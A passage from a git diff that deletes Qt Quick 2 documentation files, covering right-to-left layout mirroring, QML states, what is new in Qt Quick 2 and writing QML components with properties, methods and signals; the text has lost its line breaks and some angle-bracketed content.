LayoutMirroring is set, the \c horizontalAlignment property value remains unchanged; -the effective alignment of the text element that takes the mirroring into account can be read from the -\c effectiveHorizontalAlignment property. - -\snippet doc/src/snippets/qml/righttoleft.qml 0 - -\section1 Layout direction of positioners and views - -(This applies to the \l Row, \l Grid, \l Flow, \l ListView and \l GridView elements.) - -From Qt Quick 1.1 onwards, elements used for horizontal positioning and model views have gained a \c layoutDirection -property for controlling the horizontal direction of the layouts. Setting \c layoutDirection to -\c Qt.RightToLeft causes items to be laid out from the right to left. By default Qt Quick follows -the left-to-right layout direction. - -The horizontal layout direction can also be reversed through the \l LayoutMirroring attached property. -This causes the effective \c layoutDirection of positioners and views to be mirrored. Note the actual value -of the \c layoutDirection property will remain unchanged; the effective layout direction of positioners and -views that takes the mirroring into account can be read from the \c effectiveLayoutDirection property. - -\snippet doc/src/snippets/qml/righttoleft.qml 1 - -\section1 Layout mirroring - -The attached property \l LayoutMirroring is provided as a convenience for easily implementing right-to-left -support for existing left-to-right Qt Quick applications. It mirrors the behavior of \l {anchor-layout} -{Item anchors}, the layout direction of \l{Composing User Interfaces with QML#Positioners}{positioners} and -\l{Models and Views}{model views}, and the explicit text alignment of QML text elements. - -You can enable layout mirroring for a particular \l Item: - -\snippet doc/src/snippets/qml/righttoleft.qml 2 - -Or set all child elements to also inherit the layout direction: - -\snippet doc/src/snippets/qml/righttoleft.qml 3 - -Applying mirroring in this manner does not change the actual value of the relevant anchor, -\c layoutDirection or \c horizontalAlignment properties. The separate read-only property -\c effectiveLayoutDirection can be used to query the effective layout -direction of positioners and model views that takes the mirroring into account. Similarly the \l Text, -\l TextInput and \l TextEdit elements have gained the read-only property \c effectiveHorizontalAlignment -for querying the effective visual alignment of text. For anchors, the read only -\l {Item::anchors.top}{anchors.mirrored} property reflects whether anchors have been mirrored. - -Note that application layouts and animations that are defined using \l {Item::}{x} property values (as -opposed to anchors or positioner elements) are not affected by the \l LayoutMirroring attached property. -Therefore, adding right-to-left support to these types of layouts may require some code changes to your application, -especially in views that rely on both the anchors and x coordinate-based positioning. Here is one way to use -the \l LayoutMirroring attached property to apply mirroring to an item that is positioned using \l {Item::}{x} -coordinates: - -\snippet doc/src/snippets/qml/righttoleft.qml 4 - -Not all layouts should necessarily be mirrored. There are cases where a visual element is positioned to -the right side of the screen for improved one-handed use, because most people are right-handed, and not -because of the reading direction. In the case that a child element should not be affected by mirroring, -set the \l {LayoutMirroring::enabled}{LayoutMirroring.enabled} property for that element to false. - -Qt Quick is designed for developing animated, fluid user interfaces. When mirroring your application, remember to test that -the animations and transitions continue to work as expected. If you do not have the resources to add -right-to-left support for your application, it may be better to just keep the application layouts left -aligned and just make sure that text is translated and aligned properly. - -\section1 Mirroring icons - -(This applies to \l Image, \l BorderImage and \l AnimatedImage elements.) - -Most images do not need to be mirrored, but some directional icons, such as arrows, may need to be mirrored. -The painting of these icons can be mirrored with a dedicated \c mirror property introduced in Qt Quick 1.1: - -\snippet doc/src/snippets/qml/righttoleft.qml 5 - -\section1 Default layout direction - -The \l {QML:Qt::application}{Qt.application.layoutDirection} property can be used to query the active layout direction of the -application. It is based on QApplication::layoutDirection(), which most commonly determines the layout -direction from the active language translation file. - -To define the layout direction for a particular locale, declare the dedicated string literal -\c QT_LAYOUT_DIRECTION in context \c QApplication as either "LTR" or "RTL". - -You can do this by first introducing this line - -\code -QT_TRANSLATE_NOOP("QApplication", "QT_LAYOUT_DIRECTION"); -\endcode - -somewhere in your QML source code and calling \c lupdate to generate the translation source file. - -\code -lupdate myapp.qml -ts myapp.ts -\endcode - -This will append the following declaration to the translation file, where you can fill in either "LTR" or -"RTL" as the translation for the locale. - -\code - - QApplication - - - QT_LAYOUT_DIRECTION - RTL - - -\endcode - -You can test that the layout direction works as expected by running your Qt Quick application with -the compiled translation file: - -\code -qmlviewer myapp.qml -translation myapp.qm -\endcode - -You can test your application in right-to-left layout direction simply by executing qmlviewer with a -command-line parameter "-reverse": - -\code -qmlviewer myapp.qml -reverse -\endcode - -The layout direction can also be set from C++ by calling the static function \l QApplication::setLayoutDirection(): - -\code -QApplication app(argc, argv); -app.setLayoutDirection(Qt::RightToLeft); -\endcode - -*/ diff --git a/doc/src/qtquick2/shaders.qdoc b/doc/src/qtquick2/shaders.qdoc deleted file mode 100644 index 825eb29..0000000 --- a/doc/src/qtquick2/shaders.qdoc +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qtquick-shaders.html -\title Shader Effects in QML -\brief applying OpenGL vertex and fragment shaders to QML Rectangles - -\code -NOTE: This article is a work in progress. -\endcode - -\section1 Shaders -Describe Shaders and where it could be used in UIs or applications -Mention OpenGL shader language (GLSL) - -\section1 ShaderEffect Element -Introduce the \l{QtQuick2::ShaderEffect} Element. -Say what is possible and how to load shaders - -\section1 Shader Overview -Go over shaders in more detail and what shaders actually do. - -\section2 Vertex Shader -Go over vertex shaders - -\section2 Fragment Shader -Go over fragment shaders -*/ diff --git a/doc/src/qtquick2/states.qdoc b/doc/src/qtquick2/states.qdoc deleted file mode 100644 index 41aabd0..0000000 --- a/doc/src/qtquick2/states.qdoc +++ /dev/null @@ -1,155 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qtquick-states.html -\title States -\brief Creating and setting states - -\target qmlstates -\section1 States Elements -\list -\li \l State -\li \l PropertyChanges -\li \l StateGroup -\li \l StateChangeScript -\li \l ParentChange -\li \l AnchorChanges -\endlist - -Many user interface designs are \e state driven; interfaces have configurations -that differ depending on the current state. For example, a traffic signal will -configure its flags or lights depending on its state. While in the signal's -\c stop state, a red light will turn on while the yellow and the green lights -will turn off. In the \c caution state, the yellow light is on while the other -lights are turned off. - -In QML, \e states are a set of property configurations defined in a \l State -element. Different configurations could, for example: - -\list -\li Show some UI elements and hide others -\li Present different available actions to the user -\li Start, stop, or pause animations -\li Execute some script required in the new state -\li Change a property value for a particular item -\li Show a different view or screen -\endlist - -All \l {Item}-based objects have a \c state property, and can specify additional -states by adding new \c State objects to the item's \l {Item::}{states} -property. Each state within a component has a unique \c name, an empty string -being the default. To change the current state -of an item, set the \l {Item::}{state} property to the name of the state. - -Non-Item objects may use states through the \l StateGroup element. - -\section1 Creating States - -To create a state, add a \l State object to the item's \l {Item::}{states} property, -which holds a list of states for that item. - -A warning \c signal component may have two states, the \c NORMAL and the -\c CRITICAL state. Suppose that in the \c NORMAL state, the \c color of the -signal should be \c green and the warning \c flag is down. Meanwhile, in the -\c CRITICAL state, the \c color should be \c red and the flag is \c up. We may -model the states using the \c State element and the color and flag -configurations with the \c PropertyChanges element. -\snippet doc/src/snippets/qml/states.qml signal states -The \l PropertyChanges element will change the values of object properties. -Objects are referenced through their \l {qml-id}{id}. Objects outside -the component are also referenced using the \c id property, exemplified by the -property change to the external \c flag object. - -Further, the state may change by assigning the \c state property with the -appropriate signal state. A state switch could be in a \l MouseArea element, -assigning a different state whenever the signal receives a mouse click. -\snippet doc/src/snippets/qml/states.qml switch states - -The State element is not limited to performing modifications on property values. -It can also: -\list -\li Run some script using \l StateChangeScript -\li Override an existing signal handler for an object using \l PropertyChanges -\li Re-parent an \l Item using \l ParentChange -\li Modify anchor values using \l AnchorChanges -\endlist - -\section1 The Default State - -Every \l Item based component has a \c state property and a \e{default state}. -The default state is the empty string (\c{""}) and contains all of an item's -initial property values. The default state is useful for managing property -values before state changes. Setting the \c state property to an empty string -will load the default state. - -\section1 The \c when Property - -For convenience, the \l State element has a \c when property that can bind to -expressions to change the state whenever the bound expression evaluates to -\c true. The \c when property will revert the state back to the -\l {The Default State}{default state} when the expression evaluates to false. - -\snippet doc/src/snippets/qml/states.qml when property -The \c bell component will change to the \c RINGING state whenever the -\c signal.state is \c CRITICAL. - -\section1 Animating State Changes - -State changes induce abrupt value changes. The \l Transition element allow -smoother changes during state changes. In transitions, animations and -interpolation behaviors are definable. The -\l {QML Animation and Transitions}{Animation and Transitions} article has more -information about creating state animations. - -The \l {declarative/animation/states}{States and Transitions example} -demonstrates how to declare a basic set of states and apply animated -transitions between them. - -\l{Using QML Behaviors with States} explains a common problem when using Behaviors -to animate state changes. - -\section1 State Fast Forwarding - -In order for Transition to correctly animate state changes, it is sometimes necessary -for the engine to fast forward and rewind a state (that is, internally set and unset the state) -before it is finally applied. The process is as follows: - -\list 1 -\li The state is fast forwarded to determine the complete set of end values. -\li The state is rewound. -\li The state is fully applied, with transitions. -\endlist - -In some cases this may cause unintended behavior. For example, a state that changes -a view's \e model or a Loader's \e sourceComponent will set these properties -multiple times (to apply, rewind, and then reapply), which can be relatively expensive. - -State fast forwarding should be considered an implementation detail, -and may change in later versions. - -*/ diff --git a/doc/src/qtquick2/whatsnew.qdoc b/doc/src/qtquick2/whatsnew.qdoc deleted file mode 100644 index 0fe3bab..0000000 --- a/doc/src/qtquick2/whatsnew.qdoc +++ /dev/null @@ -1,167 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\title What's New in Qt Quick 2 -\page qtquick2-whatsnew.html -\inqmlmodule QtQuick 2 - -\section1 Qt 5.0.0 includes QtQuick 2.0 - -QtQuick 2.0 is a major update. - -\section2 SceneGraph renderer - -QtQuick 2 is based on an OpenGL scenegraph. The following -classes replace their equivalents in QtQuick 1: - -\list -\li QQuickView -\li QQuickCanvas -\li QQuickItem -\li QQuickPaintedItem -\endlist - -\section2 QML Engine/Language Improvements - -JS engine changed to V8. For most QML users this should not make a visible difference beyond performance improvements, however a lot of undefined behavior semantics may have changed as well. As always, it is recommended not to rely on undefined behavior. - -Parser and compiler optimizations. - -New binding optimizer. - -ValueType improvements: - - QColor is now a value type. The red, green, blue and alpha channels can be accessed via "r", "g", "b" and "a" properties - - Improved support for QVector4D, now constructible in QML via Qt.vector4d() - -Arbitrary functionality may be provided in a namespace through a Module API. See \l{qmlRegisterModuleApi()} for more information. - -JavaScript (.js) files may now import QML modules and other JavaScript files. See \l{Importing One JavaScript File From Another} for more information. - -A new property type "var" has been added which obsoletes the old "variant" property type. -Properties of the "var" type may hold JavaScript references. See \l{QML Basic Types} for more information. - -QML properties of type \c var and \c variant can now hold pixmaps. See \l{Scarce Resources in JavaScript} for more information - -QQmlExpression can now be directly (and more efficiently) constructed from a -QQmlScriptString. - -Support for certain sequence types (QList, QList, QList, QList, QList and QStringList) has been improved. -QObjects can define Q_PROPERTYs of these types which can be accessed transparently from JavaScript. See the section on -sequences in \l{Extending QML Functionalities using C++} for more information. - -\section2 Canvas Item - -The new \l Canvas item provides a HTML5 canvas like API, with some enhancements: -1) Supports 2 render targets: Canvas.Image and Canvas.FramebufferObject -2) Supports background thread rendering -3) Supports tiled canvas rendering - -The Canvas item supports most of the HTML5 context2d APIs, the API details please look at the canvas item documentation. - - -\section2 Particle System - -The \l{QtQuick.Particles 2}{QtQuick.Particles} module contains elements that can be composed to form 2D particle system. - - -\section2 Element API/Behavior Changes - -New \l SpriteSequence element renders animated sprites and can transition between animations. -It uses the \l Sprite element to represent each animation. For single sprites, there is also \l AnimatedSprite. - -MouseArea now propagates clicked, doubleClicked and pressAndHold differently to pressed. -These will now be propagated to the highest-stacking-order enabled MouseArea which has a handler for them. -You can still ignore these events in the handler to let them pass through. -This behavior is triggered with the new property propagateComposedEvents. - -The Binding element can now be used as a value source, and will also restore any previously -set binding when its \e when clause becomes false. - -Flickable: added dragging, draggingHorizontally and draggingVerically properties. -Added topMargin, bottomMargin, leftMargin, rightMargin, xOrigin, yOrigin properties. - -Image has two new properties: horizontalAlignment and verticalAlignment. It also has a new value for -fillMode (Image.Pad) that does not transform the image. -Setting Image sourceSize.width and sourceSize.height will now fit the image to the size, maintaining aspect. - -Grid now has rowSpacing and columnSpacing properties. Spacing properties on positioners are now real numbers instead -of integers. - -Positioner (Row, Column, Grid, Flow) improvements: -\list -\li Transitions used for \c add and \c move now have improved features: they can access a ViewTransition attached property (see the ViewTransition documentation for examples) and can now animate arbitrary item properties (instead of being restricted to animating an item's position). -\li Items in a positioner now have attached properties that can be used to determine a subitem's location: Positioner.index, Positioner.isFirstItem, Positioner.isLastItem. -\endlist - -Loader improvements: - - "active" property added to Loader, to allow delaying instantiation of a Loader element's item property - - "setSource(JSObject)" method added to Loader to allow initial property values to be specified (similar to Component.createObject()) - - now only emits the \c sourceChanged signal when the source is changed and the -\c sourceComponentChanged signal when the sourceComponent is changed. It used to emit both signals when one of the properties was changed. - -Text improvements: - - a \c onLineLaidOut handler is called for every line during the layout process. This gives the opportunity to position and resize a line as it is being laid out. - - a \c doLayout method was added to trigger the layout from Javascript. - - now automatically switch to StyledText instead of RichText if textFormat is set to AutoText. - -TextEdit: - - the default value of the textFormat property is now PlainText instead of AutoText. - -TextInput has new wrapMode and verticalAlignment properties, and the positionAt function now takes -a y parameter. - -PathView now has a \c currentItem property - -ListView and GridView: - - Can now apply specified transitions whenever items are added, removed or moved in a view. - See the documentation for ViewTransition and ListView.add, ListView.addDisplaced, - GridView.add, GridView.addDisplaced etc. for details. - - These now have headerItem and footerItem properties (the instantiated header and footer items). - - In RightToLeft layout the preferredHighlightBegin/End are now also reversed. - -ListView section.labelPositioning property added to allow keeping the current section label -at the start and/or next section label at the end of the view. - -A new property type ("var") has been introduced which obsoletes "variant" properties in QML. -Properties of this type are equivalent to regular JavaScript variables. See the documentation -on \l{QML Basic Types} for more information about "var" properties. - -New elements have been added for contructing paths: PathArc, PathCurve, PathSvg. - -\section2 QtQuick 1 is now a separate library and module - -Writing C++ applications using QtQuick 1 specific API, i.e. QDeclarativeView or QDeclarativeItem -requires adding the "quick1" module to the .pro file, e.g. QT += quick1 - -QDeclarativeView and QDeclarativeItem headers are now in the QtQuick 1 module, i.e. -#include -#include - -\sa {What's New in Qt Quick 1}{What's New in Qt Quick 1} - -*/ diff --git a/doc/src/qtquick2/writingcomponents.qdoc b/doc/src/qtquick2/writingcomponents.qdoc deleted file mode 100644 index 864f2d8..0000000 --- a/doc/src/qtquick2/writingcomponents.qdoc +++ /dev/null @@ -1,498 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -/*! -\page qtquick-writecomponents.html -\title Writing QML Components -\brief creating and initializing QML components - -\code -NOTE: This article is a work in progress. -\endcode - -One of the key concepts in QML is the ability to define your own QML components that suit -the purposes of your application. The standard \l {QML Elements} provide the essential components -for creating a QML application; beyond these, you can write your own custom components that can -be created and reused, without the use of C++. - -Components are the building blocks of a QML project. When writing a QML application, whether -large or small, it is best to separate QML code into smaller components that perform specific -sets of operations, instead of creating mammoth QML files with large, combined functionality -that is more difficult to manage and may contain duplicated code. - - -\section1 Defining New Components - -A component is a reusable type with a well-defined interface, built entirely in QML. -Any snippet of QML code can become a component, by placing the code in a file ".qml" where - is the new component name, beginning with an uppercase letter. These QML files automatically -become available as new QML element types to other QML components and applications in the same directory. - -For example, one of the simplest and most common components you can build in QML is a -button-type component. Below, we implement this component as a \l Rectangle with a clickable -\l MouseArea, in a file named \c Button.qml: - -\snippet doc/src/snippets/qml/qml-extending-types/components/Button.qml 0 - -Now this component can be reused by another file within the same directory. Since the file is -named \c Button.qml, the component is referred to as \c Button: - -\table -\row -\li \snippet doc/src/snippets/qml/qml-extending-types/components/application.qml 0 -\li \image qml-extending-types.png -\endtable - -The root object in \c Button.qml defines the attributes that are available to users of the -\c Button component. In this case, the root object is a \l Rectangle, so any properties, methods -and signals of \l Rectangle are made available, allowing \c application.qml to -customize the \c width, \c height, \c radius and \c color properties of \c Button objects. - - -If \c Button.qml was not in the same directory, \c application.qml would need to load it as a -\l {Modules}{module} from a specific filesystem path or \l{QQmlExtensionPlugin}{plugin}. -Also, note the letter case of the component file name is significant on some (notably UNIX) -filesystems. It is recommended the file name case matches the case of the QML component name -exactly - for example, \c Box.qml and not \c BoX.qml - regardless of the platform to which the -QML component will be deployed. - -To write a useful component, it is generally necessary to provide it with custom attributes that store and -communicate specific data. This is achieved by adding the following attributes to your components: - -\list -\li \b Properties that can be accessed externally to modify an object (for example, \l Item has - \l {Item::}{width} and \l {Item::}{height} properties) and used in \l {Property Binding} -\li \b Methods of JavaScript code can be invoked internally or externally (for example, - \l Animation has a \l {Animation::}{start()} method) -\li \b Signals to notify other objects when an event has occurred (for example, MouseArea has a - \c clicked signal) -\endlist - -The following sections show how these attributes can be added to QML components. - - -\section1 Adding Properties - -A property is a value of a QML component that can be read and modified by other objects. For -example, a \l Rectangle component has \l {Item::}{width}, \l {Item::}{height} and \l -{Rectangle::}{color} properties. Significantly, properties be used with \l {Property Binding}, where -a property value is automatically updated using the value of another property. - -The syntax for defining a new property is: - -\code -[default] property [: defaultValue] -\endcode - -A \c property declaration can appear anywhere within a QML component definition, but it is customary -to place it at the top. A component cannot declare more than one property with the same name. (It is -possible to have a property name that is the same as an existing property in a type, but this is not -recommended as the existing property becomes hidden and inaccessible.) - -Below is an example. The \c ImageViewer component has defined a \c string type property named -\c currentImage, and its initial value is "default-image.png". This property is used to set the image -displayed in the child \l Image object. Another file, \c application.qml, can create -an \c ImageViewer object and read or modify the \c currentImage value: - -\table -\row -\li \snippet doc/src/snippets/qml/qml-extending-types/properties/ImageViewer.qml 0 -\li \snippet doc/src/snippets/qml/qml-extending-types/properties/application.qml 0 -\endtable - -It is optional for a property to have a default value. The default value is a convenient shortcut, and is -behaviorally identical to doing it in two steps, like this: - -\qml -// Use default value -property int myProperty: 10 - -// Longer, but behaviorally identical -property int myProperty -myProperty: 10 -\endqml - - -\section2 Supported property types - -All QML properties are typed. The examples above show properties with \c int and \c string types; -notice that the type of the property must be declared. The type is used to determine the property -behavior, and how the property is defined in C++. - -A number of property types are supported by default. These are listed in the table below, -with their default values and the corresponding C++ type: - -\table -\header \li QML Type Name \li Default value \li C++ Type Name -\row \li \l int \li 0 \li int -\row \li \l bool \li \c false \li bool -\row \li \l double \li 0.0 \li double -\row \li \l real \li 0.0 \li double -\row \li \l string \li "" (empty string) \li QString -\row \li \l url \li "" (empty url) \li QUrl -\row \li \l color \li #000000 (black) \li QColor -\row \li \l date \li \c undefined \li QDateTime -\row \li \l variant \li \c undefined \li QVariant -\endtable - -QML object types can also be used as property types. This includes -\l {Defining new QML elements}{custom QML types} implemented in C++. Such properties are -defined like this: - -\qml -property Item itemProperty -property QtObject objectProperty -property MyCustomType customProperty -\endqml - -Such object-type properties default to an \c undefined value. - -It is also possible to store a copy of a JavaScript object using the \c variant -property type. This creates some restrictions on how the property should be used; -see the \l {variant}{variant type documentation} for details. - -\l{list}{List properties} are created with the \c list syntax, and default to an empty -list: - -\qml -property list listOfItems -\endqml - -Note that list properties cannot be modified like ordinary JavaScript -arrays. See the \l {list}{list type documentation} for details. - - -\section2 Property change signals - -Adding a \c property to an item automatically adds a \e {value changed} -signal handler to the item. To connect to this signal, use a \l {Signal Handlers}{signal handler} -named with the \c onChanged syntax, using upper case for the first letter of the -property name. - -For example, the following \c onMyNumberChanged signal handler is automatically called whenever the -\c myNumber property changes: - -\snippet doc/src/snippets/qml/qml-extending-types/properties/property-signals.qml 0 - - -\section2 Default properties - -The optional \c default attribute for a property marks it as the \e {default property} -for a type. This allows other items to specify the default property's value -as child elements. For example, the \l Item element's default property is its -\l{Item::children}{children} property. This allows the children of an \l Item -to be set like this: - -\qml -Item { - Rectangle {} - Rectangle {} -} -\endqml - -If the \l{Item::children}{children} property was not the default property for -\l Item, its value would have to be set like this instead: - -\qml -Item { - children: [ - Rectangle {} - Rectangle {} - ] -} -\endqml - -See the \l{declarative/ui-components/tabwidget}{TabWidget} example for a -demonstration of using default properties. - -Specifying a default property overrides any existing default property (for -example, any default property inherited from a parent item). Using the -\c default attribute twice in the same type block is an error. - - -\section2 Property aliases - -Property aliases are a more advanced form of property declaration. Unlike a -property definition, which allocates a new, unique storage space for the -property, a property alias connects the newly declared property (called the -aliasing property) as a direct reference to an existing property (the aliased property). Read -operations on the aliasing property act as read operations on the aliased -property, and write operations on the aliasing property as write operations on -the aliased property. - -A property alias declaration looks a lot like an ordinary property definition: -\code - [default] property alias : -\endcode - -As the aliasing property has the same type as the aliased property, an explicit -type is omitted, and the special "alias" keyword is used. Instead of a default -value, a property alias includes a compulsory alias reference. The alias -reference is used to locate the aliased property. While similar to a property -binding, the alias reference syntax is highly restricted. - -An alias reference takes one of the following forms: -\code - . - -\endcode - -where must refer to an object id within the same component as the type -declaring the alias, and, optionally, refers to a property on that object. - -For example, below is a \c Button.qml component with a \c buttonText aliased property which is -connected to the child Text object's \c text property: - -\snippet doc/src/snippets/qml/qml-extending-types/properties/alias.qml 0 - -The following code would create a \c Button with a defined text string for the -child \l Text object: - -\qml -Button { buttonText: "This is a button" } -\endqml - -Here, modifying \c buttonText directly modifies the \c textItem.text value; it does not -change some other value that then updates \c textItem.text. - -In this case, the use of aliased properties is essential. If \c buttonText was not an alias, -changing its value would not actually change the displayed text at all, as -\l {Property Binding}{property bindings} are not bi-directional: the \c buttonText value would -change when \c textItem.text changes, but not the other way around. - -Aliased properties are also useful for allowing external objects to directly modify and -access child objects in a component. For example, here is a modified version of the \c ImageViewer -component shown \l {Adding Properties}{earlier} on this page. The \c currentImage property has -been changed to an alias to the child \l Image object: - -\table -\row -\li \snippet doc/src/snippets/qml/qml-extending-types/properties/alias/ImageViewer.qml 0 -\li \snippet doc/src/snippets/qml/qml-extending-types/properties/alias/application.qml 0 -\endtable - -Instead of being limited to setting the \l Image source, \c application.qml can now directly -access and modify the child \l Image object and its properties. - -Obviously, exposing child objects in this manner should be done with care, as it allows external -objects to modify them freely. However, this use of aliased properties can be quite useful in -particular situations, such as for the \l {declarative/ui-components/tabwidget}{TabWidget} -example, where new tab items are actually parented to a child object that displays the current tab. - - -\section3 Considerations for property aliases - -Aliases are only activated once the component specifying them is completed. The -most obvious consequence of this is that the component itself cannot generally -use the aliased property directly during creation. For example, this will not work: - -\code - // Does NOT work - property alias buttonText: textItem.text - buttonText: "Some text" // buttonText is not yet defined when this value is set -\endcode - -A second, much less significant, consequence of the delayed activation of -aliases is that an alias reference cannot refer to another aliasing property -declared within the same component. This will not work: - -\code - // Does NOT work - id: root - property alias buttonText: textItem.text - property alias buttonText2: root.buttonText -\endcode - -At the time the component is created, the \c buttonText value has not yet been assigned, -so \c root.buttonText would refer to an undefined value. (From outside the component, -however, aliasing properties appear as regular Qt properties and consequently can be -used in alias references.) - -It is possible for an aliased property to have the same name as an existing property. For example, -the following component has a \c color alias property, named the same as the built-in -\l {Rectangle::color} property: - -\snippet doc/src/snippets/qml/qml-extending-types/properties/alias-override.qml 0 - -Any objects that use this component and refer to its \c color property will be -referring to the alias rather than the ordinary \l {Rectangle::color} property. Internally, -however, the rectangle can correctly set this property to "red" and refer to the actual defined -property rather than the alias. - - -\section1 Adding Methods - -A QML component can define methods of JavaScript code. These methods can be invoked -either internally or by other objects. - -The syntax for defining a method is: - -\code -function ([[, ...]]) { } -\endcode - -This declaration may appear anywhere within a type body, but it is customary to -include it at the top. Attempting to declare two methods or signals with the -same name in the same type block is an error. However, a new method may reuse -the name of an existing method on the type. (This should be done with caution, -as the existing method may be hidden and become inaccessible.) - -Unlike \l{Adding Signals}{signals}, method parameter types do not have to be declared as they -default to the \c variant type. The body of the method is written in JavaScript and may access -the parameters by name. - -Here is an example of a component with a \c say() method that accepts a single \c text argument: - -\snippet doc/src/snippets/qml/qml-extending-types/methods/app.qml 0 - -A method can be connected to a signal so that it is automatically invoked whenever the signal -is emitted. See \l {Connecting signals to methods and other signals} below. - -Also see \l {Integrating JavaScript} for more information on using JavaScript with QML. - - -\section1 Adding Signals - -Signals provide a way to notify other objects when an event has occurred. For example, the MouseArea -\c clicked signal notifies other objects that the mouse has been clicked within the area. - -The syntax for defining a new signal is: - -\code -signal [([ [, ...]])] -\endcode - -This declaration may appear anywhere within a type body, but it is customary to -include it at the top. Attempting to declare two signals or methods with the -same name in the same type block is an error. However, a new signal may reuse -the name of an existing signal on the type. (This should be done with caution, -as the existing signal may be hidden and become inaccessible.) - -Here are three examples of signal declarations: - -\code -Item { - signal clicked - signal hovered() - signal performAction(string action, variant actionArgument) -} -\endcode - -If the signal has no parameters, the "()" brackets are optional. If parameters are used, the -parameter types must be declared, as for the \c string and \c variant arguments for the \c -performAction signal above; the allowed parameter types are the same as those listed in the \l -{Adding Properties} section on this page. - -Adding a signal to an item automatically adds a \l {Signal Handlers}{signal handler} as well. -The signal hander is named \c on, with the first letter of the signal being upper -cased. The above example item would now have the following signal handlers: - -\list -\li onClicked -\li onHovered -\li onPerformAction -\endlist - -To emit a signal, simply invoke it in the same way as a method. Below left, when the \l MouseArea is -clicked, it emits the parent \c buttonClicked signal by invoking \c rect.buttonClicked(). The -signal is received by \c application.qml through an \c onButtonClicked signal handler: - -\table -\row -\li \snippet doc/src/snippets/qml/qml-extending-types/signals/basic.qml 0 -\li \snippet doc/src/snippets/qml/qml-extending-types/signals/no-parameters.qml 0 -\endtable - -If the signal has parameters, they are accessible by parameter name in the signal handler. -In the example below, \c buttonClicked is emitted with \c xPos and \c yPos parameters instead: - -\table -\row -\li \snippet doc/src/snippets/qml/qml-extending-types/signals/Button.qml 0 -\li \snippet doc/src/snippets/qml/qml-extending-types/signals/parameters.qml 0 -\endtable - - -\section2 Connecting signals to methods and other signals - -Signal objects have a \c connect() method that can be used to a connect a signal to a method or -another signal. When a signal is connected to a method, the method is automatically invoked -whenever the signal is emitted. (In Qt terminology, the method is a \e slot that is connected -to the \e signal; all methods defined in QML are created as Qt slots.) This enables a signal -to be received by a method instead of a \l {Signal Handlers}{signal handler}. - -For example, the \c application.qml above could be rewritten as: - -\snippet doc/src/snippets/qml/qml-extending-types/signals/connectslots.qml 0 - -The \c myMethod() method will be called whenever the \c buttonClicked signal is received. - -In many cases it is sufficient to receive signals through signal handlers rather than using -the \c connect() function; the above example does not provide any improvements over using a -simple \c onButtonClicked handler. However, if you are \l{Dynamic Object Management in QML}{creating objects dynamically}, -or \l {Integrating JavaScript}{integrating JavaScript code}, then you will find the -\c connect() method useful. For example, the component below creates three \c Button -objects dynamically, and connects the \c buttonClicked signal of each object to the -\c myMethod() function: - -\snippet doc/src/snippets/qml/qml-extending-types/signals/connectdynamic.qml 0 - -In the same way, you could connect a signal to methods defined in a dynamically -created object, or \l {Receiving QML Signals in JavaScript}{connect a signal to a JavaScript method}. - -There is also a corresponding \c disconnect() method for removing connected signals. The following -code removes the connection created in \c application.qml above: - -\qml -// application.qml -Item { - ... - - function removeSignal() { - button.clicked.disconnect(item.myMethod) - } -} -\endqml - - -\section3 Forwarding signals - -The \c connect() method can also connect a signal to other signals. This has the effect -of "forwarding" a signal: it is automatically emitted whenever the relevant signal is emitted. For -example, the MouseArea \c onClicked handler in \c Button.qml above could have been replaced with -a call to \c connect(): - -\qml -MouseArea { - anchors.fill: parent - Component.onCompleted: clicked.connect(item.buttonClicked) -} -\endqml - -Whenever the \l MouseArea \c clicked signal is emitted, the \c rect.buttonClicked signal will -automatically be emitted as well. - -*/ diff --git a/doc/src/snippets/qml/DynamicText.qml b/doc/src/snippets/qml/DynamicText.qml deleted file mode 100644 index 9711702..0000000 --- a/doc/src/snippets/qml/DynamicText.qml +++ /dev/null @@ -1,52 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:BSD$ -** You may use this file under the terms of the BSD license as follows: -** -** "Redistribution and use in source and binary forms, with or without -** modification, are permitted provided that the following conditions are -** met: -** * Redistributions of source code must retain the above copyright -** notice, this list of conditions and the following disclaimer. -** * Redistributions in binary form must reproduce the above copyright -** notice, this list 